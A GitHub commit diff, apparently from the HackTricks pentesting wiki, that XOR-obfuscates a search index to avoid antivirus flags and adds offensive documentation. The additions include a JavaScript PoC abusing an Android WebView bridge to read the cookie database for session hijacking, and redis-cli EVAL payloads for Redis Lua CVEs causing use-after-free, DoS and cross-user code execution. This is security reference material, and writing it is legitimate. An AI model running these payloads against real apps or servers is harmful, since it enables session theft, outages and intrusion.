Skip to content

Commit ffda2dc

Browse files
authored
Merge branch 'master' into update_FIA_Driver_Categorisation__Admin_Takeover_via_Mass_20251023_011933
2 parents 2abd996 + c2d3a85 commit ffda2dc

File tree

10 files changed

+375
-98
lines changed

10 files changed

+375
-98
lines changed

.github/workflows/build_master.yml

Lines changed: 21 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -82,9 +82,28 @@ jobs:
8282
RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}")
8383
echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)"
8484
85-
# Copy the .gz version to the searchindex repo
85+
# XOR encrypt the compressed file
86+
KEY='Prevent_Online_AVs_From_Flagging_HackTricks_Search_Gzip_As_Malicious_394h7gt8rf9u3rf9g'
87+
cat > /tmp/xor_encrypt.py << 'EOF'
88+
import sys
89+
key = sys.argv[1]
90+
input_file = sys.argv[2]
91+
output_file = sys.argv[3]
92+
with open(input_file, 'rb') as f:
93+
data = f.read()
94+
key_bytes = key.encode('utf-8')
95+
encrypted = bytearray(len(data))
96+
for i in range(len(data)):
97+
encrypted[i] = data[i] ^ key_bytes[i % len(key_bytes)]
98+
with open(output_file, 'wb') as f:
99+
f.write(encrypted)
100+
print(f"Encrypted: {len(data)} bytes")
101+
EOF
102+
python3 /tmp/xor_encrypt.py "$KEY" "${ASSET}.gz" "${ASSET}.gz.enc"
103+
104+
# Copy the encrypted .gz version to the searchindex repo
86105
cd /tmp/searchindex-repo
87-
cp "${GITHUB_WORKSPACE}/${ASSET}.gz" "${FILENAME}.gz"
106+
cp "${GITHUB_WORKSPACE}/${ASSET}.gz.enc" "${FILENAME}.gz"
88107
89108
# Stage the updated file
90109
git add "${FILENAME}.gz"

.github/workflows/translate_all.yml

Lines changed: 23 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -163,8 +163,27 @@ jobs:
163163
RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}")
164164
echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)"
165165
166-
# Copy ONLY the .gz version to the searchindex repo (no uncompressed .js)
167-
cp "${ASSET}.gz" "/tmp/searchindex-repo/${FILENAME}.gz"
166+
# XOR encrypt the compressed file
167+
KEY='Prevent_Online_AVs_From_Flagging_HackTricks_Search_Gzip_As_Malicious_394h7gt8rf9u3rf9g'
168+
cat > /tmp/xor_encrypt.py << 'EOF'
169+
import sys
170+
key = sys.argv[1]
171+
input_file = sys.argv[2]
172+
output_file = sys.argv[3]
173+
with open(input_file, 'rb') as f:
174+
data = f.read()
175+
key_bytes = key.encode('utf-8')
176+
encrypted = bytearray(len(data))
177+
for i in range(len(data)):
178+
encrypted[i] = data[i] ^ key_bytes[i % len(key_bytes)]
179+
with open(output_file, 'wb') as f:
180+
f.write(encrypted)
181+
print(f"Encrypted: {len(data)} bytes")
182+
EOF
183+
python3 /tmp/xor_encrypt.py "$KEY" "${ASSET}.gz" "${ASSET}.gz.enc"
184+
185+
# Copy ONLY the encrypted .gz version to the searchindex repo (no uncompressed .js)
186+
cp "${ASSET}.gz.enc" "/tmp/searchindex-repo/${FILENAME}.gz"
168187
169188
# Commit and push with retry logic
170189
cd /tmp/searchindex-repo
@@ -203,8 +222,8 @@ jobs:
203222
git config user.name "GitHub Actions"
204223
git config user.email "[email protected]"
205224
206-
# Re-copy ONLY the .gz version (no uncompressed .js)
207-
cp "${ASSET}.gz" "${FILENAME}.gz"
225+
# Re-copy ONLY the encrypted .gz version (no uncompressed .js)
226+
cp "${ASSET}.gz.enc" "${FILENAME}.gz"
208227
209228
git add "${FILENAME}.gz"
210229
git commit -m "Update ${FILENAME}.gz from hacktricks-cloud build"

src/SUMMARY.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -478,6 +478,7 @@
478478
- [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
479479
- [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
480480
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
481+
- [Perl Tricks](network-services-pentesting/pentesting-web/perl-tricks.md)
481482
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
482483
- [Python](network-services-pentesting/pentesting-web/python.md)
483484
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
@@ -587,8 +588,6 @@
587588

588589
# 🕸️ Pentesting Web
589590

590-
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
591-
- [Mass Assignment Cwe 915](pentesting-web/mass-assignment-cwe-915.md)
592591
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
593592
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
594593
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
@@ -669,6 +668,7 @@
669668
- [LDAP Injection](pentesting-web/ldap-injection.md)
670669
- [Login Bypass](pentesting-web/login-bypass/README.md)
671670
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
671+
- [Mass Assignment Cwe 915](pentesting-web/mass-assignment-cwe-915.md)
672672
- [NoSQL injection](pentesting-web/nosql-injection.md)
673673
- [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
674674
- [Open Redirect](pentesting-web/open-redirect.md)

src/mobile-pentesting/android-app-pentesting/webview-attacks.md

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -337,6 +337,109 @@ webView.reload()
337337

338338
- To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
339339

340+
#### Abusing dispatcher-style JS bridges (invokeMethod/handlerName)
341+
342+
A common pattern is a single exported method (e.g., `@JavascriptInterface void invokeMethod(String json)`) that deserializes attacker-controlled JSON into a generic object and dispatches based on a provided handler name. Typical JSON shape:
343+
344+
```json
345+
{
346+
"handlerName": "toBase64",
347+
"callbackId": "cb_12345",
348+
"asyncExecute": "true",
349+
"data": { /* handler-specific fields */ }
350+
}
351+
```
352+
353+
Risk: if any registered handler performs privileged actions on attacker data (e.g., direct file reads), you can call it by setting `handlerName` accordingly. Results are usually posted back into the page context via `evaluateJavascript` and a callback/promise mechanism keyed by `callbackId`.
354+
355+
Key hunting steps
356+
- Decompile and grep for `addJavascriptInterface(` to learn the bridge object name (e.g., `xbridge`).
357+
- In Chrome DevTools (chrome://inspect), type the bridge object name in the Console (e.g., `xbridge`) to enumerate exposed fields/methods; look for a generic dispatcher like `invokeMethod`.
358+
- Enumerate handlers by searching for classes implementing `getModuleName()` or registration maps.
359+
360+
#### Arbitrary file read via URI → File sinks (Base64 exfiltration)
361+
362+
If a handler takes a URI, calls `Uri.parse(req.getUri()).getPath()`, builds `new File(...)` and reads it without allowlists or sandbox checks, you get an arbitrary file read in the app sandbox that bypasses WebView settings like `setAllowFileAccess(false)` (the read happens in native code, not via the WebView network stack).
363+
364+
PoC to exfiltrate the Chromium WebView cookie DB (session hijack):
365+
366+
```javascript
367+
// Minimal callback sink so native can deliver the response
368+
window.WebViewJavascriptBridge = {
369+
_handleMessageFromObjC: function (data) { console.log(data) }
370+
};
371+
372+
const payload = JSON.stringify({
373+
handlerName: 'toBase64',
374+
callbackId: 'cb_' + Date.now(),
375+
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
376+
});
377+
378+
xbridge.invokeMethod(payload);
379+
```
380+
381+
Notes
382+
- Cookie DB paths vary across devices/providers. Common ones:
383+
- `file:///data/data/<pkg>/app_webview/Default/Cookies`
384+
- `file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies`
385+
- The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.
386+
387+
Detection tips
388+
- Watch for large Base64 strings returned via `evaluateJavascript` when using the app.
389+
- Grep decompiled sources for handlers that accept `uri`/`path` and convert them to `new File(...)`.
390+
391+
#### Bypassing WebView privilege gates – endsWith() host checks
392+
393+
Privilege decisions (selecting a JSB-enabled Activity) often rely on host allowlists. A flawed pattern is:
394+
395+
```java
396+
String host = Uri.parse(url).getHost();
397+
boolean z = true;
398+
if (!host.endsWith(".trusted.com")) {
399+
if (!".trusted.com".endsWith(host)) {
400+
z = false;
401+
}
402+
}
403+
// z==true → open privileged WebView
404+
```
405+
406+
Equivalent logic (De Morgan’s):
407+
408+
```java
409+
boolean z = host.endsWith(".trusted.com") ||
410+
".trusted.com".endsWith(host);
411+
```
412+
413+
This is not an origin check. Many unintended hosts satisfy the second clause, letting untrusted domains into the privileged Activity. Always verify scheme and host against a strict allowlist (exact match or a correct subdomain check with dot-boundaries), not `endsWith` tricks.
414+
415+
#### javascript:// execution primitive via loadUrl
416+
417+
Once inside a privileged WebView, apps sometimes execute inline JS via:
418+
419+
```java
420+
webView.loadUrl("javascript:" + jsPayload);
421+
```
422+
423+
If an internal flow triggers `loadUrl("javascript:...")` in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:
424+
- Grep for `loadUrl("javascript:` and `evaluateJavascript(` in the app.
425+
- Try to reach those code paths after forcing navigation to the privileged WebView (e.g., via a permissive deep link chooser).
426+
- Use the primitive to call the dispatcher (`xbridge.invokeMethod(...)`) and reach sensitive handlers.
427+
428+
Mitigations (developer checklist)
429+
- Strict origin verification for privileged Activities: canonicalize and compare scheme/host against an explicit allowlist; avoid `endsWith`-based checks. Consider Digital Asset Links when applicable.
430+
- Scope bridges to trusted pages only and re-check trust on every call (per-call authorization).
431+
- Remove or tightly guard filesystem-capable handlers; prefer `content://` with allowlists/permissions over raw `file://` paths.
432+
- Avoid `loadUrl("javascript:")` in privileged contexts or gate it behind strong checks.
433+
- Remember `setAllowFileAccess(false)` doesn’t protect against native file reads via the bridge.
434+
435+
#### JSB enumeration and debugging tips
436+
437+
- Enable WebView remote debugging to use Chrome DevTools Console:
438+
- App-side (debug builds): `WebView.setWebContentsDebuggingEnabled(true)`
439+
- System-side: modules like [LSPosed](https://github.com/LSPosed/LSPosed) or Frida scripts can force-enable debugging even in release builds. Example Frida snippet for Cordova WebViews: [cordova enable webview debugging](http://codeshare.frida.re/@gameFace22/cordova---enable-webview-debugging/)
440+
- In DevTools, type the bridge object name (e.g., `xbridge`) to see exposed members and probe the dispatcher.
441+
442+
340443
### Reflection-based Remote Code Execution (RCE)
341444

342445
- A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
@@ -393,6 +496,9 @@ xhr.send(null)
393496
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
394497
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
395498
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
499+
- [Account takeover in Android app via JSB – tuxplorer.com](https://tuxplorer.com/posts/account-takeover-via-jsb/)
500+
- [LSPosed – systemless Xposed framework](https://github.com/LSPosed/LSPosed)
501+
- [Frida codeshare: Cordova – enable WebView debugging](http://codeshare.frida.re/@gameFace22/cordova---enable-webview-debugging/)
396502

397503
{{#include ../../banners/hacktricks-training.md}}
398504

src/network-services-pentesting/6379-pentesting-redis.md

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -253,6 +253,68 @@ Some **CVEs to escape from LUA**:
253253

254254
- [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
255255

256+
#### Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)
257+
258+
Recent Redis releases fixed multiple issues in the embedded Lua engine that allow sandbox escape, memory corruption and cross-user code execution. These techniques apply when:
259+
- Attacker can authenticate to Redis and Lua is enabled (EVAL/EVALSHA or FUNCTION are usable)
260+
- Redis version is older than 8.2.2, 8.0.4, 7.4.6, 7.2.11, or 6.2.20
261+
262+
Tip: If you are new to Lua sandboxing tricks, check this page for general techniques:
263+
264+
{{#ref}}
265+
../generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md
266+
{{#endref}}
267+
268+
**Patch-level context:**
269+
- Fixed in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
270+
- Affected when Lua scripting is enabled and the above versions are not applied
271+
272+
**CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (`lparser.c: luaY_parser`)**
273+
- Idea: Force garbage collection while the parser still references a freshly-inserted TString. When GC reclaims it, the parser uses a freed pointer (UAF) → crash/DoS and potential native code execution outside the Lua sandbox.
274+
- Trigger strategy:
275+
1) Create memory pressure with huge strings to encourage GC activity
276+
2) Explicitly run GC while a large source chunk is being compiled
277+
3) Compile a very large Lua script in a loop until GC aligns with parsing
278+
279+
Minimal EVAL harness to reproduce crashes
280+
```bash
281+
# Auth as needed (-a/--user), then run EVAL with 0 keys
282+
redis-cli -h <host> -p 6379 -a <password> EVAL "\
283+
local a = string.rep('asdf', 65536); \
284+
collectgarbage('collect'); \
285+
local src = string.rep('x', 1024 * 1024); \
286+
local f = loadstring(src); \
287+
return 'done'" 0
288+
```
289+
290+
Notes:
291+
- Multiple attempts may be required to align GC with luaY_parser. A crash indicates the UAF was hit.
292+
- From exploitation to RCE requires memory grooming and native code pivoting beyond the Redis Lua sandbox.
293+
294+
**CVE-2025-46817 — Integer overflow in unpack (`lbaselib.c: luaB_unpack`)**
295+
- Root cause: The count `n = e - i + 1` is computed without unsigned casts, so extreme indices wrap, making Lua attempt to unpack far more elements than exist → stack corruption and memory exhaustion.
296+
- PoC (DoS/mem exhaustion):
297+
```bash
298+
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
299+
```
300+
- Expect the server to try returning an enormous number of values and eventually crash or OOM.
301+
302+
**CVE-2025-46818 — Cross-user privilege escalation via basic type metatables**
303+
- Root cause: On engine initialization, metatables for basic types (e.g., strings, booleans) weren’t set read-only. Any authenticated user can poison them to inject methods other users might call later.
304+
- Example (string metatable poisoning):
305+
```bash
306+
# Inject a method on strings and then exercise it
307+
redis-cli -h <host> -p 6379 -a <password> EVAL "\
308+
getmetatable('').__index = function(_, key) \
309+
if key == 'testfunc' then \
310+
return function() return 'testfuncoutput' end \
311+
end \
312+
end; \
313+
return ('teststring').testfunc()" 0
314+
# → Returns: testfuncoutput
315+
```
316+
- Impact: Cross-user code execution inside the Lua sandbox using the victim’s Redis permissions. Useful for lateral movement/priv-esc within Redis ACL contexts.
317+
256318
### Master-Slave Module
257319

258320
​The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.
@@ -306,6 +368,17 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
306368

307369
_For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._
308370

371+
## References
372+
373+
- [Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine/)
374+
- [NVD: CVE-2025-49844](https://nvd.nist.gov/vuln/detail/CVE-2025-49844)
375+
- [NVD: CVE-2025-46817](https://nvd.nist.gov/vuln/detail/CVE-2025-46817)
376+
- [NVD: CVE-2025-46818](https://nvd.nist.gov/vuln/detail/CVE-2025-46818)
377+
- [Wiz analysis of Redis RCE (CVE-2025-49844)](https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844)
378+
- [PoC: CVE-2025-49844 — Lua parser UAF](https://github.com/dwisiswant0/CVE-2025-49844)
379+
- [PoC: CVE-2025-46817 — unpack integer overflow](https://github.com/dwisiswant0/CVE-2025-46817)
380+
- [PoC: CVE-2025-46818 — basic-type metatable abuse](https://github.com/dwisiswant0/CVE-2025-46818)
381+
309382
{{#include ../banners/hacktricks-training.md}}
310383

311384

0 commit comments

Comments
 (0)